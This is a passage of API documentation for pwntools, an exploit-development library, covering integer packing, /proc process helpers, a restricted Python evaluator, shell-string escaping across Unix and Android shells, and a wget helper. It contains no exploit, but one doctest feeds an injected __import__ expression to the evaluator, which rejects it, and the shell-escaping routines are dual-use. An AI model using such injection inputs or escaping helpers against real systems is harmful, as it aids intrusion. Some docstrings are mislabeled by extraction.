Packs an 64-bit integer

Parameters

- **number** (*int*) – Number to convert

- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")

- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")

- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The packed number as a string

`pwnlib.util.packing.`**`p8`**(*number*, *sign*, *endian*, ...) → str

    Packs an 8-bit integer

        Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

        Returns The packed number as a string

`pwnlib.util.packing.`**`pack`**(*number*, *word_size = None*, *endianness = None*, *sign = None*, ***kwargs*) → str

    Packs arbitrary-sized integer.

    Word-size, endianness and signedness is done according to context.

    word_size can be any positive number or the string "all". Choosing the string "all" will output a string long enough to contain all the significant bits and thus be decodable by *unpack()*.

    word_size can be any positive number. The output will contain word_size/8 rounded up number of bytes. If word_size is not a multiple of 8, it will be padded with zeroes up to a byte boundary.

        Parameters

- **number** (*int*) – Number to convert
- **word_size** (*int*) – Word size of the converted integer or the string 'all' (in bits).
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer (False/True)
- **kwargs** – Anything that can be passed to context.local

        Returns The packed number as a string.

    Examples

```
>>> pack(0x414243, 24, 'big', True)
'ABC'
>>> pack(0x414243, 24, 'little', True)
'CBA'
>>> pack(0x814243, 24, 'big', False)
'\x81BC'
>>> pack(0x814243, 24, 'big', True)
Traceback (most recent call last):
    ...
ValueError: pack(): number does not fit within word_size
>>> pack(0x814243, 25, 'big', True)
'\x00\x81BC'
>>> pack(-1, 'all', 'little', True)
'\xff'
>>> pack(-256, 'all', 'big', True)
'\xff\x00'
>>> pack(0x0102030405, 'all', 'little', True)
'\x05\x04\x03\x02\x01'
>>> pack(-1)
```

(continues on next page)

```
'\xff\xff\xff\xff'
>>> pack(0x80000000, 'all', 'big', True)
'\x00\x80\x00\x00\x00'
```

pwnlib.util.packing.**routine**(*a*, ***kw*)

> u32(number, sign, endian, . . .) -> int
>
> Unpacks an 32-bit integer
>
> > **Parameters**
> >
> > - **data** (*str*) – String to convert
> >
> > - **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
> >
> > - **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
> >
> > - **kwargs** (*dict*) – Arguments passed to context.local(), such as endian or signed.
> >
> > **Returns** The unpacked number

pwnlib.util.packing.**u16**(*number*, *sign*, *endian*, *...*) → int

> Unpacks an 16-bit integer
>
> > **Parameters**
> >
> > - **data** (*str*) – String to convert
> >
> > - **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
> >
> > - **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
> >
> > - **kwargs** (*dict*) – Arguments passed to context.local(), such as endian or signed.
> >
> > **Returns** The unpacked number

pwnlib.util.packing.**u32**(*number*, *sign*, *endian*, *...*) → int

> Unpacks an 32-bit integer
>
> > **Parameters**
> >
> > - **data** (*str*) – String to convert
> >
> > - **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
> >
> > - **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
> >
> > - **kwargs** (*dict*) – Arguments passed to context.local(), such as endian or signed.
> >
> > **Returns** The unpacked number

pwnlib.util.packing.**u64**(*number*, *sign*, *endian*, *...*) → int

> Unpacks an 64-bit integer
>
> > **Parameters**
> >
> > - **data** (*str*) – String to convert
> >
> > - **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
> >
> > - **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
> >
> > - **kwargs** (*dict*) – Arguments passed to context.local(), such as endian or signed.
> >
> > **Returns** The unpacked number

pwnlib.util.packing.**u8**(*number*, *sign*, *endian*, *...*) → int
>   Unpacks an 8-bit integer

>   **Parameters**

>   - **data** (*str*) – String to convert

>   - **endianness** (*str*) – Endianness of the converted integer ("little"/"big")

>   - **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")

>   - **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

>   **Returns** The unpacked number

pwnlib.util.packing.**unpack**(*data*, *word_size = None*, *endianness = None*, *sign = None*, ***kwargs*)
>   → int
>   Packs arbitrary-sized integer.

>   Word-size, endianness and signedness is done according to context.

>   *word_size* can be any positive number or the string "all". Choosing the string "all" is equivalent to `len(data)*8`.

>   If *word_size* is not a multiple of 8, then the bits used for padding are discarded.

>   **Parameters**

>   - **number** (*int*) – String to convert

>   - **word_size** (*int*) – Word size of the converted integer or the string "all" (in bits).

>   - **endianness** (*str*) – Endianness of the converted integer ("little"/"big")

>   - **sign** (*str*) – Signedness of the converted integer (False/True)

>   - **kwargs** – Anything that can be passed to context.local

>   **Returns** The unpacked number.

Examples

```
>>> hex(unpack('\xaa\x55', 16, endian='little', sign=False))
'0x55aa'
>>> hex(unpack('\xaa\x55', 16, endian='big', sign=False))
'0xaa55'
>>> hex(unpack('\xaa\x55', 16, endian='big', sign=True))
'-0x55ab'
>>> hex(unpack('\xaa\x55', 15, endian='big', sign=True))
'0x2a55'
>>> hex(unpack('\xff\x02\x03', 'all', endian='little', sign=True))
'0x302ff'
>>> hex(unpack('\xff\x02\x03', 'all', endian='big', sign=True))
'-0xfdfd'
```

pwnlib.util.packing.**unpack_many**(**a*, ***kw*)
>   unpack(data, word_size = None, endianness = None, sign = None) -> int list

>   Splits *data* into groups of `word_size//8` bytes and calls *unpack()* on each group. Returns a list of the results.

>   *word_size* must be a multiple of *8* or the string "all". In the latter case a singleton list will always be returned.

Args number (int): String to convert word_size (int): Word size of the converted integers or the string "all" (in bits). endianness (str): Endianness of the converted integer ("little"/"big") sign (str): Signedness of the converted integer (False/True) kwargs: Anything that can be passed to context.local

> **Returns** The unpacked numbers.

Examples

```
>>> map(hex, unpack_many('\xaa\x55\xcc\x33', 16, endian='little', sign=False))
['0x55aa', '0x33cc']
>>> map(hex, unpack_many('\xaa\x55\xcc\x33', 16, endian='big', sign=False))
['0xaa55', '0xcc33']
>>> map(hex, unpack_many('\xaa\x55\xcc\x33', 16, endian='big', sign=True))
['-0x55ab', '-0x33cd']
>>> map(hex, unpack_many('\xff\x02\x03', 'all', endian='little', sign=True))
['0x302ff']
>>> map(hex, unpack_many('\xff\x02\x03', 'all', endian='big', sign=True))
['-0xfdfd']
```

2.40 `pwnlib.util.proc` — Working with `/proc/`

`pwnlib.util.proc.`**`ancestors`**(*pid*) → int list

> **Parameters pid** (*int*) – PID of the process.

> **Returns** List of PIDs of whose parent process is *pid* or an ancestor of *pid*.

`pwnlib.util.proc.`**`children`**(*ppid*) → int list

> **Parameters pid** (*int*) – PID of the process.

> **Returns** List of PIDs of whose parent process is *pid*.

`pwnlib.util.proc.`**`cmdline`**(*pid*) → str list

> **Parameters pid** (*int*) – PID of the process.

> **Returns** A list of the fields in `/proc/<pid>/cmdline`.

`pwnlib.util.proc.`**`cwd`**(*pid*) → str

> **Parameters pid** (*int*) – PID of the process.

> **Returns** The path of the process's current working directory. I.e. what `/proc/<pid>/cwd` points to.

`pwnlib.util.proc.`**`descendants`**(*pid*) → dict

> **Parameters pid** (*int*) – PID of the process.

> **Returns** Dictionary mapping the PID of each child of *pid* to it's descendants.

`pwnlib.util.proc.`**`exe`**(*pid*) → str

> **Parameters pid** (*int*) – PID of the process.

> **Returns** The path of the binary of the process. I.e. what `/proc/<pid>/exe` points to.

`pwnlib.util.proc.`**`name`**(*pid*) → str

> **Parameters pid** (*int*) – PID of the process.

Returns Name of process as listed in `/proc/<pid>/status`.

Example

```
>>> pid = pidof('init')[0]
>>> name(pid) == 'init'
True
```

pwnlib.util.proc.**parent**(*pid*) → int

> **Parameters pid** (*int*) – PID of the process.

> **Returns** Parent PID as listed in `/proc/<pid>/status` under `PPid`, or 0 if there is not parent.

pwnlib.util.proc.**pid_by_name**(*name*) → int list

> **Parameters name** (*str*) – Name of program.

> **Returns** List of PIDs matching *name* sorted by lifetime, youngest to oldest.

Example

```
>>> os.getpid() in pid_by_name(name(os.getpid()))
True
```

pwnlib.util.proc.**pidof**(*target*) → int list

> Get PID(s) of *target*. The returned PID(s) depends on the type of *target*:

> - `str`: PIDs of all processes with a name matching *target*.
>
> - *pwnlib.tubes.process.process*: singleton list of the PID of *target*.
>
> - *pwnlib.tubes.sock.sock*: singleton list of the PID at the remote end of *target* if it is running on the host. Otherwise an empty list.

> **Parameters target** (*object*) – The target whose PID(s) to find.

> **Returns** A list of found PIDs.

pwnlib.util.proc.**starttime**(*pid*) → float

> **Parameters pid** (*int*) – PID of the process.

> **Returns** The time (in seconds) the process started after system boot

pwnlib.util.proc.**stat**(*pid*) → str list

> **Parameters pid** (*int*) – PID of the process.

> **Returns** A list of the values in `/proc/<pid>/stat`, with the exception that `(` and `)` has been removed from around the process name.

pwnlib.util.proc.**state**(*pid*) → str

> **Parameters pid** (*int*) – PID of the process.

> **Returns** State of the process as listed in `/proc/<pid>/status`. See *proc(5)* for details.

Example

```
>>> state(os.getpid())
'R (running)'
```

pwnlib.util.proc.**status**(*pid*) → dict
    Get the status of a process.

        Parameters **pid**(*int*) – PID of the process.

        Returns The contents of /proc/<pid>/status as a dictionary.

pwnlib.util.proc.**tracer**(*pid*) → int

        Parameters **pid**(*int*) – PID of the process.

        Returns PID of the process tracing *pid*, or None if no *pid* is not being traced.

Example

```
>>> tracer(os.getpid()) is None
True
```

pwnlib.util.proc.**wait_for_debugger**(*pid*) → None
    Sleeps until the process with PID *pid* is being traced.

        Parameters **pid**(*int*) – PID of the process.

        Returns None

2.41 `pwnlib.util.safeeval` — Safe evaluation of python code

pwnlib.util.safeeval.**const**(*expression*) → value
    Safe Python constant evaluation

    Evaluates a string that contains an expression describing a Python constant. Strings that are not valid Python expressions or that contain other code besides the constant raise ValueError.

Examples

```
>>> const("10")
10
>>> const("[1,2, (3,4), {'foo':'bar'}]")
[1, 2, (3, 4), {'foo': 'bar'}]
>>> const("[1]+[2]")
Traceback (most recent call last):
...
ValueError: opcode BINARY_ADD not allowed
```

pwnlib.util.safeeval.**expr**(*expression*) → value
    Safe Python expression evaluation

    Evaluates a string that contains an expression that only uses Python constants. This can be used to e.g. evaluate a numerical expression from an untrusted source.

Examples

```
>>> expr("1+2")
3
>>> expr("[1,2]*2")
[1, 2, 1, 2]
>>> expr("__import__('sys').modules")
Traceback (most recent call last):
...
ValueError: opcode LOAD_NAME not allowed
```

pwnlib.util.safeeval.**test_expr**(*expr*, *allowed_codes*) → codeobj

> Test that the expression contains only the listed opcodes. If the expression is valid and contains only allowed codes, return the compiled code object. Otherwise raise a ValueError

pwnlib.util.safeeval.**values**(*expression*, *dict*) → value

> Safe Python expression evaluation
>
> Evaluates a string that contains an expression that only uses Python constants and values from a supplied dictionary. This can be used to e.g. evaluate e.g. an argument to a syscall.
>
> Note: This is potentially unsafe if e.g. the __add__ method has side effects.

Examples

```
>>> values("A + 4", {'A': 6})
10
>>> class Foo:
...     def __add__(self, other):
...         print "Firing the missiles"
>>> values("A + 1", {'A': Foo()})
Firing the missiles
>>> values("A.x", {'A': Foo()})
Traceback (most recent call last):
...
ValueError: opcode LOAD_ATTR not allowed
```

2.42 `pwnlib.util.sh_string` — Shell Expansion is Hard

Routines here are for getting any NULL-terminated sequence of bytes evaluated intact by any shell. This includes all variants of quotes, whitespace, and non-printable characters.

2.42.1 Supported Shells

The following shells have been evaluated:

- Ubuntu (dash/sh)
- MacOS (GNU Bash)
- Zsh
- FreeBSD (sh)
- OpenBSD (sh)

- NetBSD (sh)

Debian Almquist shell (Dash)

Ubuntu 14.04 and 16.04 use the Dash shell, and /bin/sh is actually just a symlink to /bin/dash. The feature set supported when invoked as "sh" instead of "dash" is different, and we focus exclusively on the "/bin/sh" implementation.

From the Ubuntu Man Pages, every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

```
Quoting
  Quoting is used to remove the special meaning of certain characters or
  words to the shell, such as operators, whitespace, or keywords.  There
  are three types of quoting: matched single quotes, matched double quotes,
  and backslash.

Backslash
  A backslash preserves the literal meaning of the following character,
  with the exception of newline.  A backslash preceding a newline is
  treated as a line continuation.

Single Quotes
  Enclosing characters in single quotes preserves the literal meaning of
  all the characters (except single quotes, making it impossible to put
  single-quotes in a single-quoted string).

Double Quotes
  Enclosing characters within double quotes preserves the literal meaning
  of all characters except dollarsign ($), backquote (`), and backslash
  (\).  The backslash inside double quotes is historically weird, and
  serves to quote only the following characters:
      $ ` " \ <newline>.
  Otherwise it remains literal.
```

GNU Bash

The Bash shell is default on many systems, though it is not generally the default system-wide shell (i.e., the *system* syscall does not generally invoke it).

That said, its prevalence suggests that it also be addressed.

From the GNU Bash Manual, every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

```
3.1.2.1 Escape Character

A non-quoted backslash '\' is the Bash escape character. It preserves the
literal value of the next character that follows, with the exception of
newline. If a ``\newline`` pair appears, and the backslash itself is not
quoted, the ``\newline`` is treated as a line continuation (that is, it
is removed from the input stream and effectively ignored).

3.1.2.2 Single Quotes

Enclosing characters in single quotes ('') preserves the literal value of
each character within the quotes. A single quote may not occur between single
```

```
uotes, even when preceded by a backslash.

3.1.2.3 Double Quotes

Enclosing characters in double quotes ('"') preserves the literal value of a
ll characters within the quotes, with the exception of '$', '`', '\', and,
when history expansion is enabled, '!'. The characters '$' and '`' retain their
pecial meaning within double quotes (see Shell Expansions). The backslash retains
its special meaning only when followed by one of the following characters:
'$', '`', '"', '\', or newline. Within double quotes, backslashes that are
followed by one of these characters are removed. Backslashes preceding
characters without a special meaning are left unmodified. A double quote may
be quoted within double quotes by preceding it with a backslash. If enabled,
history expansion will be performed unless an '!' appearing in double quotes
is escaped using a backslash. The backslash preceding the '!' is not removed.

The special parameters '*' and '@' have special meaning when in double quotes
see Shell Parameter Expansion).
```

Z Shell

The Z shell is also a relatively common user shell, even though it's not generally the default system-wide shell.

From the Z Shell Manual, every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

```
A character may be quoted (that is, made to stand for itself) by preceding
it with a '\'. '\' followed by a newline is ignored.

A string enclosed between '$'' and ''' is processed the same way as the
string arguments of the print builtin, and the resulting string is considered
o be entirely quoted. A literal ''' character can be included in the string
by using the '\'' escape.

All characters enclosed between a pair of single quotes ('') that is not
preceded by a '$' are quoted. A single quote cannot appear within single
quotes unless the option RC_QUOTES is set, in which case a pair of single
quotes are turned into a single quote. For example,

print ''''
outputs nothing apart from a newline if RC_QUOTES is not set, but one single
quote if it is set.

Inside double quotes (""), parameter and command substitution occur, and
'\' quotes the characters '\', '`', '"', and '$'.
```

FreeBSD Shell

Compatibility with the FreeBSD shell is included for completeness.

From the FreeBSD man pages, every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

```
Quoting is used to remove the special meaning of certain characters or
words to the shell, such as operators, whitespace, keywords, or alias
names.

There are four types of quoting: matched single quotes, dollar-single
quotes, matched double quotes, and backslash.

Single Quotes
    Enclosing characters in single quotes preserves the literal mean-
    ing of all the characters (except single quotes, making it impos-
    sible to put single-quotes in a single-quoted string).

Dollar-Single Quotes
    Enclosing characters between $' and ' preserves the literal mean-
    ing of all characters except backslashes and single quotes.  A
    backslash introduces a C-style escape sequence:

    ...

Double Quotes
    Enclosing characters within double quotes preserves the literal
    meaning of all characters except dollar sign (`$'), backquote
    (``'), and backslash (`\').  The backslash inside double quotes
    is historically weird.  It remains literal unless it precedes the
    following characters, which it serves to quote:

      $     `     "     \     \n

Backslash
    A backslash preserves the literal meaning of the following char-
    acter, with the exception of the newline character (`\n').  A
    backslash preceding a newline is treated as a line continuation.
```

OpenBSD Shell

From the OpenBSD Man Pages, every character except for single-quote can be wrapped in single-quotes, and a back-slash can be used to escape unquoted single-quotes.

```
A backslash (\) can be used to quote any character except a newline.
If a newline follows a backslash the shell removes them both, effectively
making the following line part of the current one.

A group of characters can be enclosed within single quotes (') to quote
every character within the quotes.

A group of characters can be enclosed within double quotes (") to quote
every character within the quotes except a backquote (`) or a dollar
sign ($), both of which retain their special meaning. A backslash (\)
within double quotes retains its special meaning, but only when followed
by a backquote, dollar sign, double quote, or another backslash.
An at sign (@) within double quotes has a special meaning
(see SPECIAL PARAMETERS, below).
```

NetBSD Shell

The NetBSD shell's documentation is identical to the Dash documentation.

Android Shells

Android has gone through some number of shells.

- Mksh, a Korn shell, was used with Toolbox releases (5.0 and prior)
- Toybox, also derived from the Almquist Shell (6.0 and newer)

Notably, the Toolbox implementation is not POSIX compliant as it lacks a "printf" builtin (e.g. Android 5.0 emulator images).

Toybox Shell

Android 6.0 (and possibly other versions) use a shell based on `toybox`.

While it does not include a `printf` builtin, `toybox` itself includes a POSIX-compliant `printf` binary.

The Ash shells should be feature-compatible with `dash`.

BusyBox Shell

BusyBox's Wikipedia page claims to use an `ash`-compliant shell, and should therefore be compatible with `dash`.

pwnlib.util.sh_string.**sh_command_with**(*f*, *arg0*, ..., *argN*) → command
> Returns a command create by evaluating *f(new_arg0, ..., new_argN)* whenever *f* is a function and *f %
> (new_arg0, ..., new_argN)* otherwise.
>
> If the arguments are purely alphanumeric, then they are simply passed to function. If they are simple to escape,
> they will be escaped and passed to the function.
>
> If the arguments contain trailing newlines, then it is hard to use them directly because of a limitation in the posix
> shell. In this case the output from *f* is prepended with a bit of code to create the variables.

Examples

```
>>> sh_command_with(lambda: "echo hello")
'echo hello'
>>> sh_command_with(lambda x: "echo " + x, "hello")
'echo hello'
>>> sh_command_with(lambda x: "/bin/echo " + x, "\\x01")
"/bin/echo '\\x01'"
>>> sh_command_with(lambda x: "/bin/echo " + x, "\\x01\\n")
"/bin/echo '\\x01\\n'"
>>> sh_command_with("/bin/echo %s", "\\x01\\n")
"/bin/echo '\\x01\\n'"
```

pwnlib.util.sh_string.**sh_prepare**(*variables*, *export=False*)
> Outputs a posix compliant shell command that will put the data specified by the dictionary into the environment.
>
> It is assumed that the keys in the dictionary are valid variable names that does not need any escaping.
>
> > **Parameters**

- **variables** (*dict*) – The variables to set.

- **export** (*bool*) – Should the variables be exported or only stored in the shell environment?

- **output** (*str*) – A valid posix shell command that will set the given variables.

It is assumed that *var* is a valid name for a variable in the shell.

Examples

```
>>> sh_prepare({'X': 'foobar'})
'X=foobar'
>>> r = sh_prepare({'X': 'foobar', 'Y': 'cookies'})
>>> r == 'X=foobar;Y=cookies' or r == 'Y=cookies;X=foobar'
True
>>> sh_prepare({'X': 'foo bar'})
"X='foo bar'"
>>> sh_prepare({'X': "foo'bar"})
"X='foo'\\''bar'"
>>> sh_prepare({'X': "foo\\\\bar"})
"X='foo\\\\bar'"
>>> sh_prepare({'X': "foo\\\\'bar"})
"X='foo\\\\'\\''bar'"
>>> sh_prepare({'X': "foo\\x01'bar"})
"X='foo\\x01'\\''bar'"
>>> sh_prepare({'X': "foo\\x01'bar"}, export = True)
"export X='foo\\x01'\\''bar'"
>>> sh_prepare({'X': "foo\\x01'bar\\n"})
"X='foo\\x01'\\''bar\\n'"
>>> sh_prepare({'X': "foo\\x01'bar\\n"})
"X='foo\\x01'\\''bar\\n'"
>>> sh_prepare({'X': "foo\\x01'bar\\n"}, export = True)
"export X='foo\\x01'\\''bar\\n'"
```

pwnlib.util.sh_string.**sh_string**(*s*)

Outputs a string in a format that will be understood by /bin/sh.

If the string does not contain any bad characters, it will simply be returned, possibly with quotes. If it contains bad characters, it will be escaped in a way which is compatible with most known systems.

> **Warning:** This does not play along well with the shell's built-in "echo". It works exactly as expected to set environment variables and arguments, **unless** it's the shell-builtin echo.

Argument: s(str): String to escape.

Examples

```
>>> sh_string('foobar')
'foobar'
>>> sh_string('foo bar')
"'foo bar'"
>>> sh_string("foo'bar")
"'foo'\\''bar'"
>>> sh_string("foo\\\\bar")
```

(continues on next page)

```
"'foo\\\\bar'"
>>> sh_string("foo\\\\'bar")
"'foo\\\\'\\''bar'"
>>> sh_string("foo\\x01'bar")
"'foo\\x01'\\''bar'"
```

pwnlib.util.sh_string.**test**(*original*)
    Tests the output provided by a shell interpreting a string

```
>>> test('foobar')
>>> test('foo bar')
>>> test('foo bar\n')
>>> test("foo'bar")
>>> test("foo\\\\bar")
>>> test("foo\\\\'bar")
>>> test("foo\\x01'bar")
>>> test('\n')
>>> test('\xff')
>>> test(os.urandom(16 * 1024).replace('\x00', ''))
```

2.43 `pwnlib.util.web` — Utilities for working with the WWW

pwnlib.util.web.**wget**(*url*, *save=None*, *timeout=5*) → str
    Downloads a file via HTTP/HTTPS.

> **Parameters**
>
> - **url** (`str`) – URL to download
> - **save** (`str or bool`) – Name to save as. Any truthy value will auto-generate a name based on the URL.
> - **timeout** (`int`) – Timeout, in seconds

Example

```
>>> url    = 'https://httpbin.org/robots.txt'
>>> result = wget(url, timeout=60)
>>> result
'User-agent: *\nDisallow: /deny\n'
>>> result2 = wget(url, True, timeout=60)
>>> result == file('robots.txt').read()
True
```

2.44 `pwnlib.testexample` — Example Test Module

Module-level documentation would go here, along with a general description of the functionality. You can also add module-level doctests.

You can see what the documentation for this module will look like here: https://docs.pwntools.com/en/stable/testexample.html

The tests for this module are run when the documentation is automatically-generated by Sphinx. This particular module is invoked by an "automodule" directive, which imports everything in the module, or everything listed in `__all__` in the module.

The doctests are automatically picked up by the >>> symbol, like from the Python prompt. For more on doctests, see the Python documentation.

All of the syntax in this file is ReStructuredText. You can find a nice cheat sheet here.

Here's an example of a module-level doctest:

```
>>> add(3, add(2, add(1, 0)))
6
```

If doctests are wrong / broken, you can disable them temporarily.

```
>>> add(2, 2)
5
```

Some things in Python are non-deterministic, like `dict` or `set` ordering. There are a lot of ways to work around this, but the accepted way of doing this is to test for equality.

```
>>> a = {a:a+1 for a in range(3)}
>>> a == {0:1, 1:2, 2:3}
True
```

In order to use other modules, they need to be imported from the RST which documents the module.

```
>>> os.path.basename('foo/bar')
'bar'
```

pwnlib.testexample.**add**(*a*, *b*) → int
> Adds the numbers a and b.

> > **Parameters**
> >
> > - **a** (*int*) – First number to add
> > - **b** (*int*) – Second number to add
> >
> > **Returns** The sum of a and b.

> ### Examples

```
>>> add(1,2)
3
>>> add(-1, 33)
32
```

CHAPTER 3

Indices and tables

- genindex
- modindex
- search

Python Module Index

Index